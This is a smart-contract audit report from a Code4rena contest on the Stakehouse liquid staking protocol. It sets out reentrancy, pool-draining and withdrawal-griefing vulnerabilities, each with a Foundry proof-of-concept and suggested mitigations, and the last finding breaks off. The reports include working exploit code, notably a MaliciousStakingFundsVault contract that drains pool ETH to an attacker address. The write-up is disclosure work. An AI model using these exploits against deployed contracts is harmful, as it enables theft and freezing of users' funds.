LSD Network - Stakehouse contest - 0xdeadbeef0x's results

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L326 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L934 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L524

Vulnerability details

Impact

• Permanent freeze of funds - users who deposited ETH for staking will not be able to receive their funds, rewards or rotate to another token. The protocol becomes insolvent, it cannot pay anything to the users.
• Protocol's LifecycleStatus state machine is broken

Other impacts:

• Users deposit funds to an unstakable validator (node runner has already took out his funds)

Impact is also on the Giant Pools that give liquidity to the vaults.

A competitor or malicious actor can cause bad PR for the protocol by causing permanent freeze of user funds at LSD stakehouse.

Proof of Concept

There are two main bugs that cause the above impact:

1. Reentrancy bug in withdrawETHForKnot function in LiquidStakingManager.sol
2. Improper balance check in LiquidStakingManager.sol for deposited node runner funds.

For easier reading and understanding, please follow the bellow full attack flow diagram when reading through the explanation.

┌───────────┐               ┌───────────┐            ┌───────────┐              ┌───────────┐
│           │               │           │            │           │              │           │
│Node Runner│               │LSD Manager│            │   Vaults  │              │   Users   │
│           │               │           │            │           │              │           │
└─────┬─────┘               └─────┬─────┘            └─────┬─────┘              └─────┬─────┘
      │                           │                        │                          │
      │   Register BLS Key #1     │                        │                          │
      ├──────────────────────────►│                        │                          │
      │                           │                        │                          │
      │   Register BLS Key #1     │                        │                          │
      ├──────────────────────────►│                        │Deposit 24 ETH to savETH  │
      │                           │                        │◄─────────────────────────┤
      │                           │                        │                          │
      │                           │                        │Deposit 4 ETH to mevAndFees
      │                           │                        │◄─────────────────────────┐
      │WithdrawETHForKnot BLS #1  │                        │                          │
      ├──────────────────────────►│                        │                          │
      │       Send 4 ETH          │                        │                          │
      │◄──────────────────────────┤                        │                          │
      │ Reenter stake function    │                        │                          │
      ├──────────────────────────►│Get 28 ETH from vaults  │                          │
      │                           ├───────────────────────►│                          │
      │ ┌───────────────────────┐ │     Send 28 ETH        │                          │
      │ │ Stake complete.       │ │◄───────────────────────┤                          │
      │ │status=DEPOSIT_COMPLETE│ │                        │                          │
      │ └───────────────────────┘ │                        │                          │
      │Finished WithdrawETHForKnot│                        │                          │
      │◄──────────────────────────┤                        │Users cannot mint derivati│es
      │                           │                        │◄─────────────────────────┤
      │    ┌──────────────────┐   │                        │Users cannot burnLPTokens │
      │    │BLS Key #1 banned │   │                        │◄─────────────────────────┤
      │    └──────────────────┘   │                        │Users cannot rotateTokens │
      │                           │                        │◄─────────────────────────┤
      │                           │                        │                          │

Lets assume the following starting point:

1. Node runner registered and paid 4 ETH for BLS KEY #1
2. Node runner registered and paid 4 ETH for BLS KEY #2
3. savETH users collected 24 ETH ready for staking
4. mevAndFess users collected 4 ETH ready for staking

Reentrancy in withdrawETHForKnot:

withdrawETHForKnot is a function used in LiquidStakingManager. It is used to refund a node runner if funds are not yet staked and BAN the BLS key.

withdrawETHForKnot: https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L326

    function withdrawETHForKnot(address _recipient, bytes calldata _blsPublicKeyOfKnot) external {
....
        IOwnableSmartWallet(associatedSmartWallet).rawExecute(
            _recipient,
            "",
            4 ether
        );
....
        bannedBLSPublicKeys[_blsPublicKeyOfKnot] = associatedSmartWallet;
    }

The associatedSmartWallet will send the node runner 4 ETH (out of 8 currently in balance).

Please note:

1. The Node Runner can reenter the LiquidStakingManager when receiving the 4 ETH
2. bannedBLSPublicKeys[_blsPublicKeyOfKnot] = associatedSmartWallet; is only executed after the reentrancy

We can call any method we need with the following states:

• BLS key is NOT banned
• Status is IDataStructures.LifecycleStatus.INITIALS_REGISTERED

The node runner will call the stake function to stake the deposited funds from the vaults and change the status to IDataStructures.LifecycleStatus.DEPOSIT_COMPLETE

stake: https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L524

    function stake(
        bytes[] calldata _blsPublicKeyOfKnots,
        bytes[] calldata _ciphertexts,
        bytes[] calldata _aesEncryptorKeys,
        IDataStructures.EIP712Signature[] calldata _encryptionSignatures,
        bytes32[] calldata _dataRoots
    ) external {
....
            // check if BLS public key is registered with liquid staking derivative network and not banned
            require(isBLSPublicKeyBanned(blsPubKey) == false, "BLS public key is banned or not a part of LSD network");
....
            require(
                getAccountManager().blsPublicKeyToLifecycleStatus(blsPubKey) == IDataStructures.LifecycleStatus.INITIALS_REGISTERED,
                "Initials not registered"
            );
....
            _assertEtherIsReadyForValidatorStaking(blsPubKey);

            _stake(
                _blsPublicKeyOfKnots[i],
                _ciphertexts[i],
                _aesEncryptorKeys[i],
                _encryptionSignatures[i],
                _dataRoots[i]
            );
....
    }

The stake function checks

1. That the BLS key is not banned. In our case its not yet banned, because the banning happens after the reentrancy
2. IDataStructures.LifecycleStatus.INITIALS_REGISTERED is the current Lifecycle status. Which it is.
3. There is enough balance in the vaults and node runners smart wallet in _assertEtherIsReadyForValidatorStaking

_assertEtherIsReadyForValidatorStaking checks that the node runners smart wallet has more than 4 ETH. Because our node runner has two BLS keys registered, there is an additional 4 ETH on BLS Key #2 and the conditions will pass.

_assertEtherIsReadyForValidatorStaking https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L934

    function _assertEtherIsReadyForValidatorStaking(bytes calldata blsPubKey) internal view {
        address associatedSmartWallet = smartWalletOfKnot[blsPubKey];
        require(associatedSmartWallet.balance >= 4 ether, "Smart wallet balance must be at least 4 ether");

        LPToken stakingFundsLP = stakingFundsVault.lpTokenForKnot(blsPubKey);
        require(address(stakingFundsLP) != address(0), "No funds staked in staking funds vault");
        require(stakingFundsLP.totalSupply() == 4 ether, "DAO staking funds vault balance must be at least 4 ether");

        LPToken savETHVaultLP = savETHVault.lpTokenForKnot(blsPubKey);
        require(address(savETHVaultLP) != address(0), "No funds staked in savETH vault");
        require(savETHVaultLP.totalSupply() == 24 ether, "KNOT must have 24 ETH in savETH vault");
    }

Since we can pass all checks. _stake will be called which withdraws all needed funds from the vault and executes a call through the smart wallet to the TransactionRouter with 32 ETH needed for the stake. The TransactionRouter will process the funds and stake them. The LifecycleStatus will be updated to IDataStructures.LifecycleStatus.DEPOSIT_COMPLETE

_stake: https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L739

    function _stake(
        bytes calldata _blsPublicKey,
        bytes calldata _cipherText,
        bytes calldata _aesEncryptorKey,
        IDataStructures.EIP712Signature calldata _encryptionSignature,
        bytes32 dataRoot
    ) internal {
        address smartWallet = smartWalletOfKnot[_blsPublicKey];

        // send 24 ether from savETH vault to smart wallet
        savETHVault.withdrawETHForStaking(smartWallet, 24 ether);

        // send 4 ether from DAO staking funds vault
        stakingFundsVault.withdrawETH(smartWallet, 4 ether);

        // interact with transaction router using smart wallet to deposit 32 ETH
        IOwnableSmartWallet(smartWallet).execute(
            address(getTransactionRouter()),
            abi.encodeWithSelector(
                ITransactionRouter.registerValidator.selector,
                smartWallet,
                _blsPublicKey,
                _cipherText,
                _aesEncryptorKey,
                _encryptionSignature,
                dataRoot
            ),
            32 ether
        );
....
    }

After _stake and stake will finish executing we will finish the Cross-Function Reentrancy.

The protocol has entered the following state for the BLS key #1:

1. BLS Key #1 is banned
2. LifecycleStatus is IDataStructures.LifecycleStatus.DEPOSIT_COMPLETE

In such a state where the key is banned, no one can mint derivatives and therefor depositors cannot withdraw rewards/dETH:

mintDerivatives: https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/LiquidStakingManager.sol#L577

    function mintDerivatives(
        bytes[] calldata _blsPublicKeyOfKnots,
        IDataStructures.ETH2DataReport[] calldata _beaconChainBalanceReports,
        IDataStructures.EIP712Signature[] calldata _reportSignatures
    ) external {
....
            // check if BLS public key is registered and not banned
            require(isBLSPublicKeyBanned(_blsPublicKeyOfKnots[i]) == false, "BLS public key is banned or not a part of LSD network");
....

Vault LP Tokens cannot be burned for withdraws because that is not supported in DEPOSIT_COMPLETE state:

burnLPToken: https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/SavETHVault.sol#L126

    function burnLPToken(LPToken _lpToken, uint256 _amount) public nonReentrant returns (uint256) {
...
        bytes memory blsPublicKeyOfKnot = KnotAssociatedWithLPToken[_lpToken];
        IDataStructures.LifecycleStatus validatorStatus = getAccountManager().blsPublicKeyToLifecycleStatus(blsPublicKeyOfKnot);

        require(
            validatorStatus == IDataStructures.LifecycleStatus.INITIALS_REGISTERED ||
            validatorStatus == IDataStructures.LifecycleStatus.TOKENS_MINTED,
            "Cannot burn LP tokens"
        );
....

Tokens cannot be rotated to other LP tokens because that is not supported in a DEPOSIT_COMPLETE state

rotateLPTokens

    function rotateLPTokens(LPToken _oldLPToken, LPToken _newLPToken, uint256 _amount) public {
...
        bytes memory blsPublicKeyOfPreviousKnot = KnotAssociatedWithLPToken[_oldLPToken];
...
        require(
            getAccountManager().blsPublicKeyToLifecycleStatus(blsPublicKeyOfPreviousKnot) == IDataStructures.LifecycleStatus.INITIALS_REGISTERED,
            "Lifecycle status must be one"
        );
...

Funds are stuck, they cannot be taken or used. The LifecycleStatus is also stuck, tokens cannot be minted.

Foundry POC:

The POC will showcase the scenario in the diagram.

Add the following contracts to liquid-staking folder: https://github.com/coade-423n4/2022-11-stakehouse/tree/main/contracts/testing/liquid-staking

// SPDX-License-Identifier: MIT

pragma solidity 0.8.13;

import { LiquidStakingManager } from "../../liquid-staking/LiquidStakingManager.sol";
import { TestUtils } from "../../../test/utils/TestUtils.sol";

contract NodeRunner {
    bytes blsPublicKey1;
    LiquidStakingManager manager;
    TestUtils testUtils;

    constructor(LiquidStakingManager _manager, bytes memory _blsPublicKey1, bytes memory _blsPublicKey2, address _testUtils) payable public {
        manager = _manager;
        blsPublicKey1 = _blsPublicKey1;
        testUtils = TestUtils(_testUtils);
        //register BLS Key #1
        manager.registerBLSPublicKeys{ value: 4 ether }(
            testUtils.getBytesArrayFromBytes(blsPublicKey1),
            testUtils.getBytesArrayFromBytes(blsPublicKey1),
            address(0xdeadbeef)
        );
        // Register BLS Key #2
        manager.registerBLSPublicKeys{ value: 4 ether }(
            testUtils.getBytesArrayFromBytes(_blsPublicKey2),
            testUtils.getBytesArrayFromBytes(_blsPublicKey2),
            address(0xdeadbeef)
        );
    }
    receive() external payable {
        testUtils.stakeSingleBlsPubKey(blsPublicKey1);
    }
}

Add the following imports to LiquidStakingManager.t.sol https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/test/foundry/LiquidStakingManager.t.sol#L12

import { NodeRunner } from "../../contracts/testing/liquid-staking/NodeRunner.sol";
import { IDataStructures } from "@blockswaplab/stakehouse-contract-interfaces/contracts/interfaces/IDataStructures.sol";

Add the following test to LiquidStakingManager.t.sol https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/test/foundry/LiquidStakingManager.t.sol#L121

    function testLockStakersFunds() public {
        uint256 startAmount = 8 ether;
        // Create NodeRunner. Constructor registers two BLS Keys
        address nodeRunner = address(new NodeRunner{value: startAmount}(manager, blsPubKeyOne, blsPubKeyTwo, address(this)));
        
        // Simulate state transitions in lifecycle status to initials registered (value of 1)
        MockAccountManager(factory.accountMan()).setLifecycleStatus(blsPubKeyOne, 1);

        // savETHUser, feesAndMevUser funds used to deposit into validator BLS key #1
        address feesAndMevUser = accountTwo; vm.deal(feesAndMevUser, 4 ether);
        address savETHUser = accountThree; vm.deal(savETHUser, 24 ether);
        
        // deposit savETHUser, feesAndMevUser funds for validator #1
        depositIntoDefaultSavETHVault(savETHUser, blsPubKeyOne, 24 ether);
        depositIntoDefaultStakingFundsVault(feesAndMevUser, blsPubKeyOne, 4 ether);

        // withdraw ETH for first BLS key and reenter
        // This will perform a cross-function reentracy to call stake
        vm.startPrank(nodeRunner);
        manager.withdrawETHForKnot(nodeRunner, blsPubKeyOne);
        // Simulate state transitions in lifecycle status to ETH deposited (value of 2)
        // In real deployment, when stake is called TransactionRouter.registerValidator is called to change the state to DEPOSIT_COMPLETE 
        MockAccountManager(factory.accountMan()).setLifecycleStatus(blsPubKeyOne, 2);
        vm.stopPrank();
        
        // Validate mintDerivatives reverts because of banned public key 
        (,IDataStructures.ETH2DataReport[] memory reports) = getFakeBalanceReport();
        (,IDataStructures.EIP712Signature[] memory sigs) = getFakeEIP712Signature();
        vm.expectRevert("BLS public key is banned or not a part of LSD network");
        manager.mintDerivatives(
            getBytesArrayFromBytes(blsPubKeyOne),
            reports,
            sigs
        );

        // Validate depositor cannot burn LP tokens
        vm.startPrank(savETHUser);
        vm.expectRevert("Cannot burn LP tokens");
        savETHVault.burnLPTokensByBLS(getBytesArrayFromBytes(blsPubKeyOne), getUint256ArrayFromValues(24 ether));
        vm.stopPrank();
    }

To run the POC execute: yarn test -m testLockStakersFunds -v

Expected output:

Running 1 test for test/foundry/LiquidStakingManager.t.sol:LiquidStakingManagerTests
[PASS] testLockStakersFunds() (gas: 1731537)
Test result: ok. 1 passed; 0 failed; finished in 8.21ms

To see the full trace, execute: yarn test -m testLockStakersFunds -vvvv

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

1. Add a reentrancy guard to withdrawETHForKnot and stake
2. Keep proper accounting for ETH deposited by node runner for each BLS key

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L55 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantMevAndFeesPool.sol#L48

Vulnerability details

Impact

Direct theft of funds - both giant pools can get all ETH funds stolen:

1. GiantMevAndFeesPool
2. GiantSavETHVaultPool

When the giant pools are drained:

1. Depositors will not be able to withdraw ETH because their funds were stolen
2. Vaults will not be able to use liquidity from the giant pools because it was stolen

Proof of Concept

Giant pools are used to provide liquidity to vaults that need ETH to generate validators. Users can deposit any amount of ETH in the pool and get LPTokens instead.

The implementation of transferring ETH from the giant pools is in the batchDepositETHForStaking function that can be called by anyone. batchDepositETHForStaking : https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L29

    function batchDepositETHForStaking(
        address[] calldata _savETHVaults,
        uint256[] calldata _ETHTransactionAmounts,
        bytes[][] calldata _blsPublicKeys,
        uint256[][] calldata _stakeAmounts
    ) public {
        uint256 numOfSavETHVaults = _savETHVaults.length;
        require(numOfSavETHVaults > 0, "Empty arrays");
        require(numOfSavETHVaults == _ETHTransactionAmounts.length, "Inconsistent array lengths");
        require(numOfSavETHVaults == _blsPublicKeys.length, "Inconsistent array lengths");
        require(numOfSavETHVaults == _stakeAmounts.length, "Inconsistent array lengths");

        // For every vault specified, supply ETH for at least 1 BLS public key of a LSDN validator
        for (uint256 i; i < numOfSavETHVaults; ++i) {
            uint256 transactionAmount = _ETHTransactionAmounts[i];

            // As ETH is being deployed to a savETH pool vault, it is no longer idle
            idleETH -= transactionAmount;

            SavETHVault savETHPool = SavETHVault(_savETHVaults[i]);
            require(
                liquidStakingDerivativeFactory.isLiquidStakingManager(address(savETHPool.liquidStakingManager())),
                "Invalid liquid staking manager"
            );

            // Deposit ETH for staking of BLS key
            savETHPool.batchDepositETHForStaking{ value: transactionAmount }(
                _blsPublicKeys[i],
                _stakeAmounts[i]
            );
        }
    }

As can be seen above:

• _savETHVaults is a parameter controlled by the caller.
• _ETHTransactionAmounts is a parameter controlled by the caller.

When a hacker sets the following parameters:

1. _ETHTransactionAmounts to the balance of the pool
2. _savETHVaults to a smart contract that contains the following properties: 2.1 A function with the signature batchDepositETHForStaking(bytes[],uint256[]) 2.2 The proper liquidStakingManager address variable of the real manager.

The hacker will receive all the ETH funds of the pool.

Example malicious _savETHVaults contract:

pragma solidity 0.8.13;

contract MaliciousStakingFundsVault {

    address public liquidStakingManager;
    address public owner;

    constructor(address _liquidStakingNetworkManager, address _owner) public {
        liquidStakingManager = _liquidStakingNetworkManager;
        owner = _owner;
    }
    function batchDepositETHForStaking(bytes[] calldata _blsPublicKeyOfKnots, uint256[] calldata _amounts) external payable {}

    function pull() public {
        uint256 bal = address(this).balance;
        owner.call{value: bal}('');
    }
}

Foundry POC

The foundry POC will use a simple scenario where 100 ETH are deposited into GiantSavETHVaultPool and hacker drains them all. (POC for GiantMevAndFeesPool is VERY similar)

Add the following import to GiantPools.t.sol: https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/test/foundry/GiantPools.t.sol#L15

import { MaliciousStakingFundsVault } from "../../contracts/testing/liquid-staking/MaliciousStakingFundsVault.sol";

Add the following test to GiantPools.t.sol: https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/test/foundry/GiantPools.t.sol#L117

    function testDrainETHGiantPool() public {
        // fund savETHUser 100 eth
        uint256 fundsToPool = 100 ether;
        address savETHUser = accountThree; vm.deal(savETHUser, fundsToPool);

        // Deposit ETH into giant savETH
        vm.prank(savETHUser);
        giantSavETHPool.depositETH{value: fundsToPool}(fundsToPool);
        assertEq(giantSavETHPool.lpTokenETH().balanceOf(savETHUser), fundsToPool);
        assertEq(address(giantSavETHPool).balance, fundsToPool);

        // Deploy ETH from giant LP into savETH pool of LSDN instance
        bytes[][] memory blsKeysForVaults = new bytes[][](1);
        uint256[][] memory stakeAmountsForVaults = new uint256[][](1);
        
        // Create malicious StakingFundsVault
        address hacker = address(0xdeadbeef);
        MaliciousStakingFundsVault msfv = new MaliciousStakingFundsVault(address(manager), hacker);

        // Drain giant pool
        vm.startPrank(hacker);
        giantSavETHPool.batchDepositETHForStaking(
            getAddressArrayFromValues(address(msfv)),
            getUint256ArrayFromValues(address(giantSavETHPool).balance),
            blsKeysForVaults,
            stakeAmountsForVaults
        );
        // Send stolen funds to hacker
        msfv.pull();
        vm.stopPrank();

        // Make sure hacker received all funds
        assertEq(hacker.balance, fundsToPool);
    }

Add the following MaliciousStakingFundsVault.sol to the folder https://github.com/code-423n4/2022-11-stakehouse/tree/main/contracts/testing/liquid-staking:

pragma solidity 0.8.13;

contract MaliciousStakingFundsVault {

    address public liquidStakingManager;
    address public owner;

    constructor(address _liquidStakingNetworkManager, address _owner) public {
        liquidStakingManager = _liquidStakingNetworkManager;
        owner = _owner;
    }
    function batchDepositETHForStaking(bytes[] calldata _blsPublicKeyOfKnots, uint256[] calldata _amounts) external payable {}

    function pull() public {
        uint256 bal = address(this).balance;
        owner.call{value: bal}('');
    }
}

To run the POC, execute: yarn test -m "DrainETHGiantPool" -v

Expected output:

Running 1 test for test/foundry/GiantPools.t.sol:GiantPoolTests
[PASS] testDrainETHGiantPool() (gas: 362338)
Test result: ok. 1 passed; 0 failed; finished in 8.15ms

To see the full trace, execute yarn test -m "DrainETHGiantPool" -vvvv

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

In current implementation, the single source of truth is the LSDNFactory as the giant pool was initialized with the factory. The factory should be aware of all the vaults as it is aware of all the liquid staking manager. After the creation of liquid staking manager, the vaults can be retrieved and store in a map isVault[vaultAddress] = true

In batchDepositETHForStaking Instead of checking if the liquid staking manager is created by the LSDNFactory, check that the vault is created by the factory.

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantPoolBase.sol#L69 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L66 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantPoolBase.sol#L96

Vulnerability details

Impact

A hacker can prevent users from withdrawing dETH or LPTokens in giant pools.

This bug causes a revert in:

1. WithdrawLP - GiantMevAndFeesPool
2. WithdrawLP - GiantSavETHVaultPool
3. WithdrawDETH - GiantSavETHVaultPool

A hacker can prevent a user from receiving dETH when users are eligible and guaranteed to receive it through their stake.

This causes a liquidity crunch as the only funds that are possible to withdraw are ETH. There is not enough ETH in the giant pools to facilitate a large withdraw as ETH is staked for LPTokens and dETH.

The giant pools will become insolvent to returning ETH, dETH or vault LPTokens.

Proof of Concept

Both WithdrawLP and WithdrawDETH act in a similar way:

1. loop LPtokens received for withdraw
2. Check user has enough Giant LP tokens to burn and pool has enough vault LP to give.
3. Check that a day has passed since user has interacted with Giant LP Token
4. burn tokens
5. send tokens

Example of WithdrawDETH: https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L66

    function withdrawDETH(
        address[] calldata _savETHVaults,
        LPToken[][] calldata _lpTokens,
        uint256[][] calldata _amounts
    ) external {
        uint256 numOfVaults = _savETHVaults.length;
        require(numOfVaults > 0, "Empty arrays");
        require(numOfVaults == _lpTokens.length, "Inconsistent arrays");
        require(numOfVaults == _amounts.length, "Inconsistent arrays");

        // Firstly capture current dETH balance and see how much has been deposited after the loop
        uint256 dETHReceivedFromAllSavETHVaults = getDETH().balanceOf(address(this));
        for (uint256 i; i < numOfVaults; ++i) {
            SavETHVault vault = SavETHVault(_savETHVaults[i]);

            // Simultaneously check the status of LP tokens held by the vault and the giant LP balance of the user
            for (uint256 j; j < _lpTokens[i].length; ++j) {
                LPToken token = _lpTokens[i][j];
                uint256 amount = _amounts[i][j];

                // Check the user has enough giant LP to burn and that the pool has enough savETH vault LP
                _assertUserHasEnoughGiantLPToClaimVaultLP(token, amount);

                require(vault.isDETHReadyForWithdrawal(address(token)), "dETH is not ready for withdrawal");

                // Giant LP is burned 1:1 with LPs from sub-networks
                require(lpTokenETH.balanceOf(msg.sender) >= amount, "User does not own enough LP");

                // Burn giant LP from user before sending them dETH
                lpTokenETH.burn(msg.sender, amount);

                emit LPBurnedForDETH(address(token), msg.sender, amount);
            }

            // Ask
            vault.burnLPTokens(_lpTokens[i], _amounts[i]);
        }

        // Calculate how much dETH has been received from burning
        dETHReceivedFromAllSavETHVaults = getDETH().balanceOf(address(this)) - dETHReceivedFromAllSavETHVaults;

        // Send giant LP holder dETH owed
        getDETH().transfer(msg.sender, dETHReceivedFromAllSavETHVaults);
    }

The bug is in _assertUserHasEnoughGiantLPToClaimVaultLP in the last require that checks that a day has passed since the user has interacted with Giant LP Token: https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantPoolBase.sol#L93

    function _assertUserHasEnoughGiantLPToClaimVaultLP(LPToken _token, uint256 _amount) internal view {
        require(_amount >= MIN_STAKING_AMOUNT, "Invalid amount");
        require(_token.balanceOf(address(this)) >= _amount, "Pool does not own specified LP");
        require(lpTokenETH.lastInteractedTimestamp(msg.sender) + 1 days < block.timestamp, "Too new");
    }

The condition lpTokenETH.lastInteractedTimestamp(msg.sender) + 1 days < block.timestamp can be set to fail by the hacker. The hacker transfers 0 lpTokenETH tokens to msg.sender. This transfer will update the lastInteractedTimestamp to now.

The above can be done once a day or on-demand by front-running the withdraw commands.

_afterTokenTransfer in GiantLP.sol: https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantLP.sol#L43

    function _afterTokenTransfer(address _from, address _to, uint256 _amount) internal override {
        lastInteractedTimestamp[_from] = block.timestamp;
        lastInteractedTimestamp[_to] = block.timestamp;
        if (address(transferHookProcessor) != address(0)) ITransferHookProcessor(transferHookProcessor).afterTokenTransfer(_from, _to, _amount);
    }

Foundry POC

The POC will show how a hacker prevents a user from receiving dETH although they are eligible to receive it.

Add the following test to GiantPools.t.sol: https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/test/foundry/GiantPools.t.sol#L118

    function testPreventWithdraw() public {
        // Set up users and ETH
        address nodeRunner = accountOne; vm.deal(nodeRunner, 12 ether);
        address feesAndMevUserOne = accountTwo; vm.deal(feesAndMevUserOne, 4 ether);
        address savETHUser = accountThree; vm.deal(savETHUser, 24 ether);

        // Register BLS key
        registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountFour);

        // Deposit 24 ETH into giant savETH
        vm.prank(savETHUser);
        giantSavETHPool.depositETH{value: 24 ether}(24 ether);
        assertEq(giantSavETHPool.lpTokenETH().balanceOf(savETHUser), 24 ether);
        assertEq(address(giantSavETHPool).balance, 24 ether);

        // Deploy 24 ETH from giant LP into savETH pool of LSDN instance
        bytes[][] memory blsKeysForVaults = new bytes[][](1);
        blsKeysForVaults[0] = getBytesArrayFromBytes(blsPubKeyOne);

        uint256[][] memory stakeAmountsForVaults = new uint256[][](1);
        stakeAmountsForVaults[0] = getUint256ArrayFromValues(24 ether);

        giantSavETHPool.batchDepositETHForStaking(
            getAddressArrayFromValues(address(manager.savETHVault())),
            getUint256ArrayFromValues(24 ether),
            blsKeysForVaults,
            stakeAmountsForVaults
        );
        assertEq(address(manager.savETHVault()).balance, 24 ether);

        // Deposit 4 ETH into giant fees and mev
        vm.startPrank(feesAndMevUserOne);
        giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);
        vm.stopPrank();

        assertEq(address(giantFeesAndMevPool).balance, 4 ether);
        stakeAmountsForVaults[0] = getUint256ArrayFromValues(4 ether);
        giantFeesAndMevPool.batchDepositETHForStaking(
            getAddressArrayFromValues(address(manager.stakingFundsVault())),
            getUint256ArrayFromValues(4 ether),
            blsKeysForVaults,
            stakeAmountsForVaults
        );

        // Ensure we can stake and mint derivatives
        stakeAndMintDerivativesSingleKey(blsPubKeyOne);

        IERC20 dETHToken = savETHVault.dETHToken();

        vm.startPrank(accountFive);
        dETHToken.transfer(address(savETHVault.saveETHRegistry()), 24 ether);
        vm.stopPrank();

        LPToken[] memory tokens = new LPToken[](1);
        tokens[0] = savETHVault.lpTokenForKnot(blsPubKeyOne);

        LPToken[][] memory allTokens = new LPToken[][](1);
        allTokens[0] = tokens;

        stakeAmountsForVaults[0] = getUint256ArrayFromValues(24 ether);

        // User will not have any dETH to start
        assertEq(dETHToken.balanceOf(savETHUser), 0);

        // Warp ahead -> savETHUser eligible to dETH
        vm.warp(block.timestamp + 2 days);

        // Send 0 tokens to savETHUser so he cannot withdrawDETH
        address hacker = address(0xdeadbeef);
        vm.startPrank(hacker);
        giantSavETHPool.lpTokenETH().transfer(savETHUser, 0);
        vm.stopPrank();
        address[] memory addresses = getAddressArrayFromValues(address(manager.savETHVault()));

        vm.startPrank(savETHUser);
        // Validate withdrawDETH will revert  
        vm.expectRevert("Too new");
        giantSavETHPool.withdrawDETH(addresses, allTokens, stakeAmountsForVaults);
        vm.stopPrank();    
    }

To run the POC execute: yarn test -m "PreventWithdraw" -v

Expected output:

Running 1 test for test/foundry/GiantPools.t.sol:GiantPoolTests
[PASS] testPreventWithdraw() (gas: 3132637)
Test result: ok. 1 passed; 0 failed; finished in 9.25ms

To run with full trace, execute: yarn test -m "PreventWithdraw" -vvvv

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

Make sure transfers in the GiantLP are only for funds larger than (0.001 ETH), this will make the exploitation expensive.

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L137 https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantMevAndFeesPool.sol#L126

Vulnerability details

Impact

Both giant pools are affected:

1. GiantSavETHVaultPool
2. bringUnusedETHBackIntoGiantPool

The giant pools have a bringUnusedETHBackIntoGiantPool function that calls the vaults to send back any unused ETH. Currently, any call to this function will revert. Unused ETH will not be sent to the giant pools and will stay in the vaults.

This causes an insolvency issue when many users want to withdraw ETH and there is not enough liquidity inside the giant pools.

Proof of Concept

bringUnusedETHBackIntoGiantPool calls the vaults to receive ETH: https://github.com/code-423n4/2022-11-stakehouse/blob/4b6828e9c807f2f7c569e6d721ca1289f7cf7112/contracts/liquid-staking/GiantSavETHVaultPool.sol#L137

    function bringUnusedETHBackIntoGiantPool(
        address[] calldata _savETHVaults,
        LPToken[][] calldata _lpTokens,
        uint256[][] calldata _amounts
    ) external {
        uint256 numOfVaults = _savETHVaults.length;
        require(numOfVaults > 0, "Empty arrays");
        require(numOfVaults == _lpTokens.length, "Inconsistent arrays");
        require(numOfVaults == _amounts.length, "Inconsistent arrays");
        for (uint256 i; i < numOfVaults; ++i) {
            SavETHVault vault = SavETHVault(_savETHVaults[i]);
            for (uint256 j; j < _lpTokens[i].length; ++j) {
                require(
                    vault.isDETHReadyForWithdrawal(address(_lpTokens[i][j])) == false,
                    "ETH is either staked or derivatives minted"
                );
            }
            vault.burnLPTokens(_lpTokens[i], _amounts[i]);
        }
    }

